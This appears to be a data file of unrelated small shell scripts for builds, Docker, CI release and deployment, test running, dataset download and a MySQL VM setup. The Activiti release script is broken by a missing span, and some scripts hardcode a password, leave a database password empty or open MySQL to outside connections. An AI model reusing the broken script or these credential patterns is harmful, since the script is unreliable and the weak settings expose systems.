arg=\"${arr[$i]}\"\n\n # param starts with -o\n if [[ $arg == -o* ]]; then\n\n # combine current and next parameter\n match=\"$arg${arr[$((i+1))]}\"\n\n if [[ $match == -o*yaml ]]; then\n HL_SYNTAX_PARAM=\"-S yaml\"\n break\n\n elif [[ $match == -o*json ]]; then\n HL_SYNTAX_PARAM=\"-S json\"\n break\n fi\n fi\n done\n}\n\ndetect_params \"$@\"\n\nif [ -z \"$HL_SYNTAX_PARAM\" ]\nthen\n kubectl \"$@\"\nelse\n kubectl \"$@\" | highlight $HL_SYNTAX_PARAM $HL_OUTPUT"} {"text": "#!/bin/bash\n\n# Build the DECB binary, listing, and map\nlwasm --unicorns --list=COCOIO.TXT --map=COCOIO.MAP --symbols -o COCOIO.BIN COCOIODRV.asm\n\n# Strip column 16-55 out of listing for personal readability\ncut -c 16-55 --complement COCOIO.TXT > COCOIO2.TXT\n\n# Get rid of old binary from test disk image\ndecb kill COCOIO.DSK,COCOIO.BIN\n\n# Put new test binary into test disk image\ndecb copy COCOIO.BIN COCOIO.DSK,COCOIO.BIN -2"} {"text": "#!/bin/bash\n./node_modules/.bin/gulp --gulpfile webpack-gulpfile.js --color"} {"text": "#!/bin/bash\n\n# Download DIEL data \nwget -qO- http://cs.cmu.edu/%7Ezhiliny/data/diel_data.tar.gz | tar xvz -C ./data/\nmv ./data/diel_data/diel ./data/diel\nrm -rf ./data/diel_data\n\n# Preprocess DIEL data \nPYTHONPATH=$PWD python gpnn/utils/preprocess_diel.py -d ./data/diel"} {"text": "#!/usr/bin/env bash\nset -euo pipefail\n\n\n# REGISTRY, PERMALINK and VERSION must be set before calling this script\n# It is intended to only be executed by make publish\n\nif [[ \"$PERMALINK\" == \"latest\" ]]; then\n docker push $REGISTRY/porter:$VERSION\n docker push $REGISTRY/porter-agent:$VERSION\n docker push $REGISTRY/workshop:$VERSION\n\n docker push $REGISTRY/porter:$PERMALINK\n docker push $REGISTRY/porter-agent:$PERMALINK\n docker push $REGISTRY/workshop:$PERMALINK\nelse\n docker push $REGISTRY/porter:$PERMALINK\n docker push $REGISTRY/porter-agent:$PERMALINK\n docker push $REGISTRY/workshop:$PERMALINK\nfi"} {"text": "#!/usr/bin/env bash\nset -euo pipefail\nIFS=$'\\n\\t'\n\n# Build image\ndocker build -t=\"avgl/elasticsearch\" .\n\n# start container\ndocker run -d -p 9200:9200 -p 9300:9300 --name avgl-es avgl/elasticsearch"} {"text": "test.sh\n#!/bin/bash\ngit checkout kernel-threads\nmake && echo \"./clonetest\" | make qemu"} {"text": "#!/bin/bash\n#filename:factorial.sh\n#find a factorial of a number\n\nfactorial()\n{\n if [ $1 -gt 1 ]; then\n i=`expr $1 - 1`\n j=$(echo \"$1 * $(factorial $i)\" | bc )\n echo $j\n else\n echo 1\n fi\n}\n\n\n## main program starts here ##\nwhile [ 1 ];do\n\tclear\n echo -e \"Enter a number : \\c\"\n read x\n \n echo -e \"\\nFactorial of $x is : \\c\"\n factorial $x\n echo -e \"\\n\" && exit 0\ndone"} {"text": "#!/bin/bash\n\napt install targetcli-fb\n\nif [ ! -f /etc/init.d/rtslib-fb-targetctl ]; then\n cp rtslib-fb-targetctl /etc/init.d/rtslib-fb-targetctl\nfi\n\nchmod 755 /etc/init.d/rtslib-fb-targetctl\nsystemctl enable rtslib-fb-targetctl"} {"text": "#!/usr/bin/env bash\n\n#Used to build docker image\nmvn package\nif [ $? -eq 1 ]\nthen\n exit 1\nelse\n docker build -t org.gr8conf.us/docker/boot_{{artifactId}} .\nfi"} {"text": "#!/usr/bin/env bash\n\n# Generates the binary representation of request and response.\n# Those are required to be passed to the request and response contracts.\n\nset -o errexit\nset -o errtrace\nset -o pipefail\n\n./src/main/bash/download_protoc.sh\n\necho \"GENERATING GRPC COMPATIBLE MESSAGES\"\n\nfunction grpc_envelope() {\n\tlocal file=\"${1}\"\n\tlocal fullPath=\"$( pwd )/${file}\"\n\tgroovy src/main/bash/grpcEnvelope.groovy \"${fullPath}\"\n}\n\necho \"Generating request\"\necho age : 17 | target/protoc/bin/protoc --encode=beer.PersonToCheck src/main/proto/beer.proto > target/PersonToCheck_too_young.bin\ngrpc_envelope \"target/PersonToCheck_too_young.bin\"\necho \"Generated grpc\"\n\necho age : 23 | target/protoc/bin/protoc --encode=beer.PersonToCheck src/main/proto/beer.proto > target/PersonToCheck_old_enough.bin\ngrpc_envelope \"target/PersonToCheck_old_enough.bin\"\necho \"Generated grpc\"\n\necho \"Generating response\"\n\necho status : NOT_OK | target/protoc/bin/protoc --encode=beer.Response src/main/proto/beer.proto > target/Response_too_young.bin\ngrpc_envelope \"target/Response_too_young.bin\"\necho \"Generated grpc\"\n\necho status : OK | target/protoc/bin/protoc --encode=beer.Response src/main/proto/beer.proto > target/Response_old_enough.bin\ngrpc_envelope \"target/Response_old_enough.bin\"\necho \"Generated grpc\"\n\necho \"All binary files generated!\""} {"text": "#! /bin/bash\necho \"starting edinet modules\"\necho \"cleaning hourly data\"\n#python3 module_edinet/launcher_edinet.py clean_hourly\n#echo \"cleaning meteo data\"\n#python3 module_edinet/launcher_edinet.py clean_meteo\n#echo \"cleaning daily data\"\n#python3 module_edinet/launcher_edinet.py clean_daily\n#echo \"calculating hourly baselines\"\n#python3 module_edinet/launcher_edinet.py hourly_baseline\n#echo \"calculating monthly baselines\"\n#python3 module_edinet/launcher_edinet.py monthly_baseline\necho \"calculating comparisons\"\npython3 module_edinet/launcher_edinet.py comparisons\necho \"finishing edinet modules\""} {"text": "passed_count=0\nfailed_count=0\n\nGENERATOR_COUNT=20\n\nfunction runTest {\n if [ -z \"$PRINT_ALL\" ]\n then\n if [ $overwrite ]\n then\n echo -n -e \"\\e[3A\"\n else\n overwrite=1\n fi\n echo\n echo -e \"\\e[32mPassed $passed_count tests\\e[m\"\n echo -e \"\\e[31mFailed $failed_count tests\\e[m\"\n fi\n if [ ${1: -6} == .basic ]\n then\n if [ $PRINT_ALL ]\n then\n for i in $(seq 1 $2)\n do\n echo -n \" \"\n done\n fi\n if timeout 1s $COMPILER $1 &> /tmp/basic-test.out\n then\n if [ ${3::5} == fail. ]\n then\n if [ -z \"$PRINT_ALL\" ]\n then\n echo -n -e \"\\e[3A\\e[J\"\n unset overwrite\n fi\n echo -e \"\\e[31mFailed\\e[m test '$3' should have failed\"\n failed_count=$(expr $failed_count + 1)\n overwrite=\"\"\n else \n passed_count=$(expr $passed_count + 1)\n if [ $PRINT_ALL ]\n then\n echo -e \"\\e[32mPassed\\e[m test '$3'\"\n fi\n fi\n else\n if [ $? == 124 ]\n then\n if [ ${3::5} == fail. ]\n then\n passed_count=$(expr $passed_count + 1)\n if [ $PRINT_ALL ]\n then\n echo -e \"\\e[32mPassed\\e[m test '$3'\"\n fi\n else \n if [ -z \"$PRINT_ALL\" ]\n then\n echo -n -e \"\\e[3A\\e[J\"\n unset overwrite\n fi\n echo -e \"\\e[31mFailed\\e[m test '$3' by timeout\"\n failed_count=$(expr $failed_count + 1)\n overwrite=\"\"\n fi\n else\n if [ ${3::5} == fail. ]\n then\n passed_count=$(expr $passed_count + 1)\n if [ $PRINT_ALL ]\n then\n echo -e \"\\e[32mPassed\\e[m test '$3'\"\n fi\n else \n if [ -z \"$PRINT_ALL\" ]\n then\n echo -n -e \"\\e[3A\\e[J\"\n unset overwrite\n fi\n echo -e \"\\e[31mFailed\\e[m test '$3' at runtime\"\n failed_count=$(expr $failed_count + 1)\n if [ $PRINT_ALL ]\n then\n for i in $(seq 0 $2)\n do\n sed -i \"s/^/ /\" /tmp/basic-test.out\n done\n fi\n cat /tmp/basic-test.out\n overwrite=\"\"\n fi\n fi \n fi\n elif [ ${1: -3} == .js -a -z \"$NO_GEN\" ]\n then\n if [ $PRINT_ALL ]\n then\n for i in $(seq 1 $2)\n do\n echo -n \" \"\n done\n fi\n dir=$(dirname $1)\n tmp_file=$dir/tmp.$3.basic\n unset failed\n for i in $(seq 1 $GENERATOR_COUNT)\n do\n node $1 > $tmp_file\n if timeout 1s $COMPILER $tmp_file &> /tmp/basic-test.out\n then\n if [ ${3::5} == fail. ]\n then\n if [ -z \"$PRINT_ALL\" ]\n then\n echo -n -e \"\\e[3A\\e[J\"\n unset overwrite\n fi\n echo -e \"\\e[31mFailed\\e[m test '$3' should have failed\"\n failed=True\n break\n fi\n else\n if [ $? == 124 ]\n then\n if [ ! ${3::5} == fail. ]\n then\n if [ -z \"$PRINT_ALL\" ]\n then\n echo -n -e \"\\e[3A\\e[J\"\n unset overwrite\n fi\n echo -e \"\\e[31mFailed\\e[m test '$3' by timeout\"\n failed=True\n break\n fi\n else\n if [ ! ${3::5} == fail. ]\n then\n if [ -z \"$PRINT_ALL\" ]\n then\n echo -n -e \"\\e[3A\\e[J\"\n unset overwrite\n fi\n echo -e \"\\e[31mFailed\\e[m test '$3' at runtime\"\n failed=True\n if [ $PRINT_ALL ]\n then\n for i in $(seq 0 $2)\n do\n sed -i \"s/^/ /\" /tmp/basic-test.out\n done\n fi\n cat /tmp/basic-test.out\n break\n fi\n fi \n fi\n done\n if [ $failed ]\n then\n failed_count=$(expr $failed_count + 1)\n overwrite=\"\"\n else \n passed_count=$(expr $passed_count + 1)\n if [ $PRINT_ALL ]\n then\n echo -e \"\\e[32mPassed\\e[m test '$3'\"\n rm $tmp_file\n fi\n fi\n fi\n}\n\nfunction runTests {\n if [ $PRINT_ALL ]\n then\n for i in $(seq 1 $2)\n do\n echo -n \" \"\n done\n echo \"Running tests in: '$3'\"\n fi\n for test in $(find $1 -mindepth 1 -maxdepth 1)\n do\n name=$(awk -F/ '{print $NF}' <<< $test)\n if [ ${name::7} != ignore. -a ${name::4} != tmp. -a ${name::8} != include. ]\n then\n if [ -f $test ]\n then\n runTest $test $(expr $2 + 1) $name\n elif [ -d $test ]\n then\n runTests $test $(expr $2 + 1) $name\n fi\n fi\n done\n}\n\nif [ $# -gt 1 -a -d $1 ]\nthen\n echo\n path=$(realpath $1)\n name=$(awk -F/ '{print $NF}' <<< $path)\n shift\n COMPILER=$@\n runTests $path 1 $name\n\n if [ $overwrite ]\n then\n echo -n -e \"\\e[3A\"\n fi\n echo\n echo -e \"\\e[32mPassed $passed_count tests\\e[m\"\n echo -e \"\\e[31mFailed $failed_count tests\\e[m\"\n echo\n if [ $failed_count -gt 0 ]\n then\n exit 1\n else\n exit 0\n fi\nelse\n echo \"Usage: $0 TESTDIR COMPILER\"\n exit 2\nfi"} {"text": "bootstrap-deps-pypy.sh\n#!/usr/bin/env bash\n\nPY_DIR=\"./env-pypy\"\nif [[ ! -d \"$PY_DIR\" ]]; then\n virtualenv --python=pypy3 \"$PY_DIR\"\nfi\n\nsource \"$PY_DIR/bin/activate\"\npip install --upgrade pip\npypy3 -m pip install -r ./requirements.txt"} {"text": "#!/bin/bash\n\nwhile [ 1 ];do\n CB=$(xclip -o)\n if [ \"$CB\" != \"$pCB\" ];then\n nb=$(grep \"$CB\" board|wc -l)\n if [ \"$nb\" -eq \"0\" ];then\n echo \"$CB\" >> board\n echo \"$CB\"\n fi\n fi\n pCB=$CB\n sleep 0.5\ndone"} {"text": "1-10\n#!/usr/bin/env bash\nset -e\n\ngit remote rm origin\ngit remote add origin https://\"${GITHUB_TOKEN}\":x-oauth-basic@github.com/Activiti/activiti-scripts.git\n\nif [ \"${TRAVIS_EVENT_TYPE}\" = \"cron\" ]\nthen\n SHOULD_INCREMENT_VERSION=true\n export SHOULD_INCREMENT_VERSION\nfi\n\n./fetch-versions.sh\n\nVERSION_TO_RELEASE=$( \\\n staging-repository-template-tmp.xml && \\\n mv staging-repository-template-tmp.xml ${STAGING_REPOSITORY_TEMPLATE_FILE}\n\n curl -d @${STAGING_REPOSITORY_TEMPLATE_FILE} -u \"${NEXUS_USERNAME}\":\"${NEXUS_PASSWORD}\" \\\n -H \"Content-Type:application/xml\" -v \\\n \"${NEXUS_URL}\"/service/local/staging/profiles/\"${NEXUS_PROFILE_ID}\"/start \\\n grep stagedRepositoryId | grep -o \"${NEXUS_STAGING_PROFILE_PATTERN}\" > \"${NEXUS_STAGING_FILE}\"\n\n echo \"Stating repository $(< \"${NEXUS_STAGING_FILE}\")\"\n\n sed \"s/STAGING_ID/$(<\"$NEXUS_STAGING_FILE\")/g\" < \"${SETTINGS_XML_FILE_PATH}\" > settings-tmp.xml && mv settings-tmp.xml \"${SETTINGS_XML_FILE_PATH}\"\n\n git add \"${STAGING_REPOSITORY_TEMPLATE_FILE}\"\n git add \"${NEXUS_STAGING_FILE}\"\n git add \"${SETTINGS_XML_FILE_PATH}\"\n git commit -m \"Set staging repository\"\nfi\n\n\ngit tag -f -a \"${VERSION_TO_RELEASE}\" -m \"Release version ${VERSION_TO_RELEASE}\"\ngit push origin \"${VERSION_TO_RELEASE}\""} {"text": "scripts/diversity/diversity_table.sh\npython trainer.py \\\n--dataset CRN \\\n--class_choice table \\\n--inversion_mode diversity \\\n--visualize \\\n--save_inversion_path ./saved_results/CRN_table_diversity \\\n--ckpt_load ./pretrained_models/table.pt \\\n--dataset_path ./input_shapes/shapenet_crn_dataset/"} {"text": "5sWind/bgm-ide\n#!/bin/bash\n\nset -e\n\nSHA=`git rev-parse --short --verify HEAD`\n\ngit config user.name \"$COMMIT_AUTHOR\"\ngit config user.email \"$COMMIT_AUTHOR_EMAIL\"\ngit checkout --orphan gh-pages\ngit rm --cached -r .\necho \"# Automatic build\" > README.md\necho \"Built website from \\`$SHA\\`. See https://github.com/5sWind/bgm-ide/ for details.\" >> README.md\necho \"To use an offline copy, download \\`remix-$SHA.zip\\`.\" >> README.md\n# ZIP the whole directory\nzip -r remix-$SHA.zip $FILES_TO_PACKAGE\n# -f is needed because \"build\" is part of .gitignore\ngit add -f $FILES_TO_PACKAGE remix-$SHA.zip\ngit commit -m \"Built website from {$SHA}.\"\n\nENCRYPTED_KEY_VAR3=\"encrypted_${ENCRYPTION_LABEL3}_key\"\nENCRYPTED_IV_VAR3=\"encrypted_${ENCRYPTION_LABEL3}_iv\"\nENCRYPTED_KEY3=${!ENCRYPTED_KEY_VAR3}\nENCRYPTED_IV3=${!ENCRYPTED_IV_VAR3}\n\ntouch deploy_key_remix-live-alpha\nchmod 600 deploy_key_remix-live-alpha\nopenssl aes-256-cbc -K $ENCRYPTED_KEY3 -iv $ENCRYPTED_IV3 -in ci/deploy_key_remix-live-alpha.enc -out deploy_key_remix-live-alpha -d\neval `ssh-agent -s`\n\n\n\n\nssh-add deploy_key_remix-live-alpha\ngit push -f :bgmchain/remix-live-alpha.git gh-pages"} {"text": "share/qt/make_windows_icon.sh\n#!/bin/bash\n# create multiresolution windows icon\nICON_DST=../../src/qt/res/icons/Thebigcoin.ico\n\nconvert ../../src/qt/res/icons/Thebigcoin-16.png ../../src/qt/res/icons/Thebigcoin-32.png ../../src/qt/res/icons/Thebigcoin-48.png ${ICON_DST}"} {"text": "0\n#!/bin/bash\ncd data\necho '[]' > events.json\necho '[]' > participants.json\necho '[]' > wishlist.json\ncd -"} {"text": "0\n#!/bin/bash\nTMAX=$1\nCURR_PWD=$(pwd)\nDATA=`date +%d_%m_%Y_%H_%M`\nVERSION_DIR='OUROBOROS'\nREPORTS_DIR='reports/'\nRESULTS_DIR=\"reports/$VERSION_DIR\"\nTOPOLOGIES_DIR=\"core_topologies\"\nPROTOCOL=$2\nSPEED=$3\nTOPOLOGY='symmetrical.py'\n\nmkdir /tmp/$REPORTS_DIR 2> /dev/null #If folder exists, redirect error to sinkhole \nmkdir /tmp/$RESULTS_DIR 2> /dev/null #If folder exists, redirect error to sinkhole \n\nfor i in {1..5}\ndo\n echo \"Running topology $TOPOLOGY with tmax $TMAX\" \n $CURR_PWD/$TOPOLOGIES_DIR/$TOPOLOGY $TMAX $PROTOCOL $SPEED 10000 &> /tmp/$RESULTS_DIR/$topo\\_$tmax\\_$i\\_$DATA.log \n DATA=`date +%d_%m_%Y_%H_%M`\ndone\n\ncd $REPORTS_DIR\nchown -R bruno:bruno *\ncd ..\n\necho \"Gerating reports\"\n$CURR_PWD/aux/report.py -a $CURR_PWD/$REPORTS_DIR"} {"text": "#!/bin/bash\n\nRF=/tmp/pivot\nURL=http://dl-cdn.alpinelinux.org/alpine/v3.7/releases/x86_64/alpine-minirootfs-3.7.0-x86_64.tar.gz\nBN=$(basename \"$URL\")\n\n[ -d \"$RF\" ] || mkdir -p \"$RF\"\n\ncd \"$RF\"\n\necho \"--==[ Downloading the '$BN'\"\nif [ ! -f \"$BN\" ]; then\n curl \\\n --remote-name \\\n --remote-header-name \\\n --location \\\n \"$URL\"\nfi\n\necho \"--==[ remove and recreate old root fs\"\n[ -d \"rootfs\" ] && rm -rf rootfs\nmkdir rootfs\n\necho \"--==[ Expand the root fs\"\necho \"expected error ./dev/null as it cannot be created by regular user\"\necho \"can be created as 'mknod ./dev/null c 1 3' when root\"\ntar xpf $BN -C rootfs\n\necho \"--==[ done\""} {"text": "0\n#!/bin/bash\n\ncurr_dir=`dirname $0`\ncurr_dir=`cd $curr_dir; pwd`\n\nsetup_host=\"$curr_dir/setup_host.sh\"\n# Define your application/component name here.\n# Define the version of your component in setup_env.sh\nyourcomponent=boost\nyourcomponent_spec=\"$curr_dir/${yourcomponent}.spec\"\nmock_cfg=\"$curr_dir/altiscale-boost-centos-6-x86_64.cfg\"\nmock_cfg_name=$(basename \"$mock_cfg\")\nmock_cfg_runtime=`echo $mock_cfg_name | sed \"s/.cfg/.runtime.cfg/\"`\n\nboost_zip_file=\"$WORKSPACE/boost.tar.gz\"\nboost_url=\"http://downloads.sourceforge.net/project/boost/boost/1.46.1/boost_1_46_1.tar.gz\"\n\nif [ -f \"$curr_dir/setup_env.sh\" ]; then\n source \"$curr_dir/setup_env.sh\"\nfi\n\nif [ \"x${YOURCOMPONENT}\" = \"x\" ] ; then\n yourcomponent=example\n echo \"ok - you may want to define your component name in setup_env.sh with YOUCOMPONENT variable, and set it global during the build process\"\nelse\n yourcomponent=\"$YOURCOMPONENT\"\nfi\n\necho \"ok - building component $yourcomponent\"\n\nif [ \"x${WORKSPACE}\" = \"x\" ] ; then\n WORKSPACE=\"$curr_dir/../\"\n boost_zip_file=\"$WORKSPACE/boost.tar.gz\"\nfi\n\n# Perform sanity check\nif [ ! -f \"$curr_dir/setup_host.sh\" ]; then\n echo \"warn - $setup_host does not exist, we may not need this if all the libs and RPMs are pre-installed in your build environment\"\nfi\n\nif [ ! -e \"$yourcomponent_spec\" ] ; then\n echo \"fail - missing $yourcomponent_spec file, can't continue, exiting\"\n exit -9\nfi\n\nenv | sort\n# should switch to WORKSPACE, current folder will be in WORKSPACE/yourcomponent due to \n# hadoop_ecosystem_component_build.rb => this script will change directory into your submodule dir\n# WORKSPACE is the default path when jenkin launches e.g. /mnt/ebs1/jenkins/workspace/yourcomponent_build_test-alee\n# If not, you will be in the $WORKSPACE/yourcomponent folder already, just go ahead and work on the submodule\n# The path in the following is all relative, if the parent jenkin config is changed, things may break here.\npushd `pwd`\ncd $WORKSPACE\n\nif [ -f \"$boost_zip_file\" ] ; then\n fhash=$(md5sum \"$boost_zip_file\" | cut -d\" \" -f1)\n if [ \"x${fhash}\" = \"x341e5d993b19d099bf1a548495ea91ec\" ] ; then\n echo \"ok - found prev downloaded file, hash looks good, use it directly\"\n else\n echo \"warn - boost.tar.gz corrupted with $fhash <> 341e5d993b19d099bf1a548495ea91ec, re-downloading\"\n wget --output-document=$(basename $boost_zip_file) \"$boost_url\"\n fi\nelse\n echo \"ok - downloading boost.tar.gz\"\n wget --output-document=$(basename $boost_zip_file) \"$boost_url\"\nfi\n# Only applies to Boost installation, delete previous installationif exist.\n# This machine shouldn't have existing boost instllation.\nif [ -d $WORKSPACE/boost ] ; then\n echo \"warn - uninstalling previous version of Boost\"\n rm -rf boost\n rm -rf /usr/local/lib/libboost_*\n if [ -d /usr/local/include/boost/ ] ; then\n rm -rf /usr/local/include/boost/\n fi\nfi\ntar -xzf boost.tar.gz\nmv boost_* boost\n\necho \"ok - switching to component=$yourcomponent and checking out the files\"\nif [ ! -d \"$WORKSPACE/$yourcomponent\" ] ; then\n echo \"error - can't locate source code $WORKSPACE/$yourcomponent\"\n echo \"error - did you forgot to check out your source code to $WORKSPACE/$yourcomponent ?\"\n echo \"error - if you are running the example tutorial, we expect a folder with libs and conf in $WORKSPACE/example/, feel free to customize it.\"\n exit -9\nfi\npopd\n\necho \"ok - tar zip source file, preparing for build/compile by rpmbuild\"\npushd `pwd`\n# yourcomponent is located at $WORKSPACE/$yourcomponent\ncd $WORKSPACE\n\n# If you are using the %setup stage, you may need to tarzip your source code here and copy it to the $WORKSPACE/rpmbuild/SOURCES folder later.\n# Renaming the folder with prefix alti- here as well.\n# cp -r \"$yourcomponent\" \"alti-${yourcomponent}\"\n# tar cvzf $WORKSPACE/alti-${yourcomponent}.tar.gz \"alti-${yourcomponent}\"\n\nmkdir -p $WORKSPACE/rpmbuild/{BUILD,BUILDROOT,RPMS,SPECS,SOURCES,SRPMS}/\ncp \"$yourcomponent_spec\" $WORKSPACE/rpmbuild/SPECS/$yourcomponent.spec\n\n# If you are only applying the %prep stage, you can manually copy the folders you need.\ncp -r $WORKSPACE/$yourcomponent $WORKSPACE/rpmbuild/SOURCES/$yourcomponent\npushd \"$WORKSPACE/rpmbuild/SOURCES/\"\npwd\ntar -czf $yourcomponent.tar.gz $yourcomponent\necho \"ok - created $yourcomponent.tar.gz\"\nstat \"$yourcomponent.tar.gz\"\nmv \"$yourcomponent.tar.gz\" \"$WORKSPACE/rpmbuild/SOURCES/\"\npopd\n\n# Otherwise, if you are using %setup, you may want to copy the tar.gz created before\n# cp -r $WORKSPACE/alti-${yourcomponent}.tar.gz $WORKSPACE/rpmbuild/SOURCES/\n\n#if [ \"$(ls -A $WORKSPACE/patches/)\" ]; then\n# cp $WORKSPACE/patches/* $WORKSPACE/rpmbuild/SOURCES/\n#fi\n\n# Explicitly define IMPALA_HOME here for build purpose\necho \"ok - applying version number $YOURCOMPONENT_VERSION and release number $BUILD_TIME\"\nsed -i \"s/YOURCOMPONENT_VERSION/$YOURCOMPONENT_VERSION/g\" \"$WORKSPACE/rpmbuild/SPECS/$yourcomponent.spec\"\nsed -i \"s/BUILD_TIME/$BUILD_TIME/g\" \"$WORKSPACE/rpmbuild/SPECS/$yourcomponent.spec\"\nrpmbuild -vv -bs $WORKSPACE/rpmbuild/SPECS/$yourcomponent.spec \\\n --define \"_topdir $WORKSPACE/rpmbuild\"\n\nif [ $? -ne \"0\" ] ; then\n echo \"fail - SRPM build for $yourcomponent.src.rpm failed\"\n exit -8\nfi\n\necho \"ok - applying $WORKSPACE for the new BASEDIR for mock, pattern delimiter here should be :\"\n# the path includeds /, so we need a diff pattern delimiter\n\nmkdir -p \"$WORKSPACE/var/lib/mock\"\nchmod 2755 \"$WORKSPACE/var/lib/mock\"\nmkdir -p \"$WORKSPACE/var/cache/mock\"\nchmod 2755 \"$WORKSPACE/var/cache/mock\"\nsed \"s:BASEDIR:$WORKSPACE:g\" \"$mock_cfg\" > \"$curr_dir/$mock_cfg_runtime\"\nsed -i \"s:YOURCOMPONENT_VERSION:$YOURCOMPONENT_VERSION:g\" \"$curr_dir/$mock_cfg_runtime\"\necho \"ok - applying mock config $curr_dir/$mock_cfg_runtime\"\ncat \"$curr_dir/$mock_cfg_runtime\"\nmock -vvv --configdir=$curr_dir -r altiscale-boost-centos-6-x86_64.runtime \\\n --resultdir=$WORKSPACE/rpmbuild/RPMS/ \\\n --rebuild $WORKSPACE/rpmbuild/SRPMS/$yourcomponent-$YOURCOMPONENT_VERSION-*.src.rpm\n\nif [ $? -ne \"0\" ] ; then\n echo \"fail - mock RPM build for $yourcomponent failed\"\n # mock --configdir=$curr_dir -r altiscale-boost-centos-6-x86_64.runtime --clean\n mock --configdir=$curr_dir -r altiscale-boost-centos-6-x86_64.runtime --scrub=all\n exit -9\nfi\n\n# mock --configdir=$curr_dir -r altiscale-boost-centos-6-x86_64.runtime --clean\nmock --configdir=$curr_dir -r altiscale-boost-centos-6-x86_64.runtime --scrub=all\n\npopd\n\n\n\necho \"ok - build Completed successfully!\"\n\nexit 0"} {"text": "EdgardoArriagada/zsh-spell-book1-10\nalert() {\n zparseopts -D -E -F -- i:=_icon || return 1\n local icon=\"${_icon[2]}\"\n : ${icon:='timer'}\n\n (( $ZSB_MACOS )) && \\\n osascript -e \"display notification \\\"$*\\\"\" || \\\n notify-send --icon \"$icon\" --urgency critical \"$*\"\n}\n\nalias a=\"alert\"\nalias ad=\"alert 'DONE'\""} {"text": "scripts/test-w-coverage.sh\n#!/bin/bash\n\nset -aueo pipefail\n\nreadarray -t modules < <(go list ./... | \\\n grep -v tests/framework | \\\n grep -v tests/e2e | \\\n grep -v tests/scenarios | \\\n grep -v tests/scale | \\\n grep -v ci/ | \\\n grep -v demo/ | \\\n grep -v experimental/ | \\\n grep -v scripts/)\n\ngo test -timeout 120s \\\n -failfast \\\n -v \\\n -coverprofile=coverage.txt.with_generated_code \\\n -covermode count \"${modules[@]}\" | tee testoutput.txt || { echo \"go test returned non-zero\"; exit 1; }\n\n# shellcheck disable=SC2002\ncat coverage.txt.with_generated_code | grep -v \"_generated.go\" | grep -v \"fake.go\" > coverage.txt\n\n# shellcheck disable=SC2002\ncat testoutput.txt | go run github.com/jstemmer/go-junit-report > report.xml\n\ngo run github.com/axw/gocov/gocov convert coverage.txt > coverage.json\n\ngo run github.com/AlekSi/gocov-xml < coverage.json > coverage.xml\n\nmkdir -p coverage\n\ngo run github.com/matm/gocov-html < coverage.json > coverage/index.html"} {"text": "#!/bin/bash\n\ncurl -X GET -s -u foo:bar \"https://httpbin.org/basic-auth/foo/bar\""} {"text": "#!/bin/sh\r\n\r\nset -x\r\n\r\necho \"Waiting for notary-nodeinfo/network-parameters-initial.conf ...\"\r\nuntil [ -f notary-nodeinfo/network-parameters-initial.conf ]\r\ndo\r\n sleep 10\r\ndone\r\necho \"Waiting for notary-nodeinfo/network-parameters-initial.conf ... done.\"\r\n\r\nif [ ! -f {{ .Values.config.configPath }}/token ]\r\nthen\r\n EXIT_CODE=1\r\n until [ \"${EXIT_CODE}\" -eq \"0\" ]\r\n do\r\n echo \"Trying to login to gateway:8080 ...\"\r\n java -jar bin/cenm-tool.jar context login -s http://{{ .Values.cenmServices.gatewayName }}.{{ .Values.metadata.namespace }}:{{ .Values.cenmServices.gatewayPort }} -u network-maintainer -p Word\r\n EXIT_CODE=${?}\r\n if [ \"${EXIT_CODE}\" -ne \"0\" ]\r\n then\r\n echo \"EXIT_CODE=${EXIT_CODE}\"\r\n sleep 5\r\n else\r\n break\r\n fi\r\n done\r\n cat ./notary-nodeinfo/network-parameters-initial.conf\r\n ZONE_TOKEN=$(java -jar bin/cenm-tool.jar zone create-subzone \\\r\n --config-file={{ .Values.config.configPath }}/nmap.conf --network-map-address={{ .Values.nodeName }}.{{ .Values.metadata.namespace }}:{{ .Values.service.adminListener.port }} \\\r\n --network-parameters=./notary-nodeinfo/network-parameters-initial.conf --label=Main --label-color='#941213' --zone-token)\r\n echo ${ZONE_TOKEN}\r\n echo ${ZONE_TOKEN} > {{ .Values.config.configPath }}/token\r\n {{ if eq .Values.bashDebug true }}\r\n cat {{ .Values.config.configPath }}/token\r\n {{ end }}\r\nfi"} {"text": "#!/bin/sh -e\n\n# Edit the following to change the name of the database user that will be created:\nAPP_DB_USER=omnidb\nAPP_DB_PASS=\n\n# Edit the following to change the name of the database that is created (defaults to the user name)\nAPP_DB_NAME=omnidb_tests\n\nexport DEBIAN_FRONTEND=noninteractive\n\nPROVISIONED_ON=/etc/vm_provision_on_timestamp\nif [ -f \"$PROVISIONED_ON\" ]\nthen\n echo \"VM was already provisioned at: $(cat $PROVISIONED_ON)\"\n echo \"To run system updates manually login via 'vagrant ssh' and run 'apt-get update && apt-get upgrade'\"\n echo \"\"\n print_db_usage\n exit\nfi\n\n# Installing dependencies\napt-get -y install software-properties-common dirmngr\n\nREPO_APT_SOURCE=/etc/apt/sources.list.d/mysql.list\nif [ ! -f \"$REPO_APT_SOURCE\" ]\nthen\n # Add MySQL apt repo:\n echo \"deb http://repo.mysql.com/apt/debian/ jessie mysql-8.0\" >> \"$REPO_APT_SOURCE\"\n\n # Add MySQL repo key:\n # apt-key adv --no-tty --keyserver pgp.mit.edu --recv-keys 5072E1F5\n apt-key adv --no-tty --recv-keys 5072E1F5\nfi\n\n# Update package list and upgrade all packages\napt-get update\napt-get -y upgrade\n\napt-get -y install mysql-server\n\nsed -i -e '/bind-address/s/^/#/g' /etc/mysql/mysql.conf.d/mysqld.cnf\n\nsystemctl restart mysql\n\nmysql -e \"create database ${APP_DB_NAME};\"\nmysql -e \"create user ${APP_DB_USER} identified by '${APP_DB_PASS}';\"\nmysql -e \"grant all privileges on ${APP_DB_NAME}.* to ${APP_DB_USER};\"\nmysql -e \"flush privileges;\"\n\n# Tag the provision time:\ndate > \"$PROVISIONED_ON\"\n\necho \"Successfully created MySQL dev virtual machine.\"\necho \"\""} {"text": "#!/bin/bash\npdoc --html fieldedge_pcap --output-dir docs --force\nmv ./docs/fieldedge_pcap/* ./docs\nrm -r ./docs/fieldedge_pcap"} {"text": "Kuri-su/Portflow-Monitor10-100\n#!/usr/bin/env bash\n#该脚本记录每小时的流量情况,并将iptables的数据清空,并计入日流量记录中\n\n#从mudb.json文件中获取需要监控的端口\nportlist=`cat /home/ssr/mudb.json | grep port | sed -r 's/( )+\\\"port\\\": //g' | sed 's/,$//g' `\n#将目前iptables的数据存入tmp.txt中\n`iptables -L -nvx > /root/flowListen/tmp.txt`\n#获取tmp.txt的行数\nfilerows=`wc -l /root/flowListen/tmp.txt | cut -d ' ' -f 1`\n#获取input那一块的行数\ninputStartRow=`iptables -L -nvx | grep -n 